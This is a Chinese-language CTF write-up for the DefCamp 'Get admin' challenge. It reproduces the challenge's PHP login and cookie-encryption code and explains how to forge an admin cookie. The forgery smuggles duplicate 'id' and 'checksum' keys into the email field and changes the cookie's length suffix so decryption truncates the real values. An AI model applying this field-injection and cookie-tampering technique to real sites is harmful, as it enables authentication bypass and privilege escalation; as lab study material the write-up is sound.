Defcamp-ctf-Get-admin

image.png

前言

通过阅读源码,此站大体流程是先注册一个账号,需要username、password、email,每个账号有一个userid(大于1),次userid从数据库中取出。用此账号登陆,得到一个cookie,logout之后,用此cookie登陆,后台会通过解密得到userid,判断是否userid===1,如果为true,则输出flag。

0x01

关键源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#index.php
<?php

include_once('config.php');

if (!isset($_SESSION['userid'])) {
if(!empty($_COOKIE['user'])) {
$u = decryptCookie($_COOKIE['user']);

if($u['id'] > 0) {
$_SESSION['userid'] = $u['id'];
header("Location: /admin.php");
exit;
}
die('Invalid cookie.');
} else if(isset($_POST['username'], $_POST['password'])) {
$auth = new AuthLib($db);
$userid = (int) $auth->authenticate($_POST['username'], $_POST['password']);
if ($userid) {
$q = $db->query('SELECT * FROM `users` where id='.$userid);
$row = $q->fetch(\PDO::FETCH_ASSOC);

$_SESSION['userid'] = $userid;

setcookie('user',encryptCookie([
'id' => $userid,
'username' => $_POST['username'],
'email' => $row['email'],
]), time()+60*60*24*30);

header("Location: /admin.php");
exit;
}
}
require_once('login.php');
} else {
require_once('admin.php');
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#config.php
<?php

$host = "localhost";
$username = "root";
$password = "hackingduality";
$database = "bad-login";

define('FLAG', 'DCTF{HIDDEN}');
define('AES_KEY', '');
define('AES_IV', '');

$db = new PDO("mysql:host=$host; dbname=$database", $username, $password);
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

include_once('auth.lib.php');
session_start();

function compress($arr) {
return implode('÷', array_map(function ($v, $k) { return $k.'¡'.$v; }, $arr, array_keys($arr) ));
}

function decompress($cookie) {
if(preg_match('/[^\x00-\x7F]+\ *(?:[^\x00-\x7F]| )*/im',$cookie, $m) == 0) {
echo('Decryption error (1).');
return false;
}

$t = explode("÷", $cookie);

$arr = [];
foreach($t as $el) {
$el = explode("¡", $el);
$arr[$el[0]] = $el[1];
}

if(!isset($arr['checksum'])) {
echo('Decryption error (2).');
return false;
}

$checksum = intval($arr['checksum']);
unset($arr['checksum']);
$cookie = compress($arr);
if($checksum != crc32($cookie)) {
echo('Decryption error (3).');
return false;
}

return $arr;
}

function encryptCookie($arr) {
$cookie = compress($arr);
$arr['checksum'] = crc32($cookie);
return encrypt(compress($arr), AES_KEY, AES_IV);
}

function decryptCookie($cypher) {
return decompress(decrypt($cypher, AES_KEY, AES_IV));
}

function encrypt($plaintext, $key, $iv) {
$length = strlen($plaintext);
$ciphertext = openssl_encrypt($plaintext, 'AES-128-CBC', $key, OPENSSL_RAW_DATA, $iv);
return base64_encode($ciphertext) . sprintf('%06d', $length);
}

function decrypt($ciphertext, $key, $iv) {
$length = intval(substr($ciphertext, -6, 6));
$ciphertext = substr($ciphertext, 0,-6);
$output = openssl_decrypt(base64_decode($ciphertext), 'AES-128-CBC', $key, OPENSSL_RAW_DATA, $iv);
if($output == FALSE) {
echo('Decryption error (0).');
die();
}
return substr($output, 0, $length);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83

<?php
#auth.lib.php
/**
* Authlib
*/
class AuthLib
{
private $db;
public function __construct(\PDO $db)
{
$this->db = $db;
}

/**
* Secure authentication
*
* @param string $username
* @param string $password
* @return int|false
*/
public function authenticate($username, $password)
{
$q = $this->db->prepare("SELECT * FROM users WHERE username = :username");
$q->execute(['username' => $username]);
if ($q->rowCount()) {
$row = $q->fetch(\PDO::FETCH_ASSOC);

// Valid username
if ($this->verifyPassword($password, $row['password'])) {
//return user id
return $row['id'];
}
}
return false;
}

/**
* Hash a password and compare against a known hash.
* This function is safe against timing attacks.
*
* @param string $p plaintext password
* @param string $h hash
* @return boolean
*/
public function verifyPassword($p, $h) {
return password_verify($p, $h);
}

/**
* Returns hash of a password using bcrypt.
*
* @param string $p1
* @param string $p2
* @return hash
*/
public function hashPassword($p) {
return password_hash($p, PASSWORD_DEFAULT);
}

public function updateUser($id, $username, $password, $email) {
$q = $this->db->prepare("UPDATE users SET username = :username, password = :password, email= :email WHERE id = :id");
$q->execute(['username' => $username,
'password' => $this->hashPassword($password),
'email' => $email,
'id' => $id]);
return true;
}

public function createUser($username, $password, $email) {
$q = $this->db->prepare("SELECT * FROM users WHERE username = :username OR email = :email");
$q->execute(['username' => $username, 'email' => $email]);
if ($q->rowCount()) {
return "Duplicate email or username";
}

$q = $this->db->prepare("INSERT INTO users (username, password, email) VALUES(:username,:password,:email)");
$q->execute(['username' => $username,
'password' => $this->hashPassword($password),
'email' => $email]);
return true;
}
}

0x02

注册之后得到的cookie如下

1
Cookie: PHPSESSID=2u2m6qj8ka7onc8s7euvnkpnb1;user=Er04SpDBinIdcHEVstMtpF4vziuSAA8SEEnobhVqdRW4lIpD%2BmkRe6KsLkoasWFogVrMVYuoLmOHvpagi7tZ%2FV4mWzoACW3KAXrd82hMYxjUY8N1PlR6KstW0zlUzm4uLWKB2pKcL7waBfc6ASsIUw%3D%3D000098

0x03

解题思路源于此段代码

1
2
3
4
5
6
7
$t = explode("÷", $cookie);

$arr = [];
foreach($t as $el) {
$el = explode("¡", $el);
$arr[$el[0]] = $el[1];
}

这段代码是在CBC解密之后把明文整成一个数组,但是存在漏洞
image.png
由上图可见,当有相同的id键时,后者会覆盖前者。但此题还有一个问题,它校验了crc。

1
2
3
4
5
6
7
$checksum = intval($arr['checksum']);
unset($arr['checksum']);
$cookie = compress($arr);
if($checksum != crc32($cookie)) {
echo('Decryption error (3).');
return false;
}

相仿如上做法,但是如同后者覆盖前者一样,前者checksum被覆盖
image.png
绕过策略

1
2
3
4
5
6
7
8
9
10
function decrypt($ciphertext, $key, $iv) {
$length = intval(substr($ciphertext, -6, 6));
$ciphertext = substr($ciphertext, 0,-6);
$output = openssl_decrypt(base64_decode($ciphertext), 'AES-128-CBC', $key, OPENSSL_RAW_DATA, $iv);
if($output == FALSE) {
echo('Decryption error (0).');
die();
}
return substr($output, 0, $length);
}

可以看到$length是可控的。

0x04

拿flag步骤
1、注册账号的时候,emai为(其中checksum根据所填username需调整)

1
2
username:ertyui
Email:mnhj@mail.com÷id¡1÷checksum¡3706744857

2、登陆,并获取cookie
3、logout,修改cookie最后的length为000077
4、获得flag
image.png

-------------本文结束感谢您的阅读-------------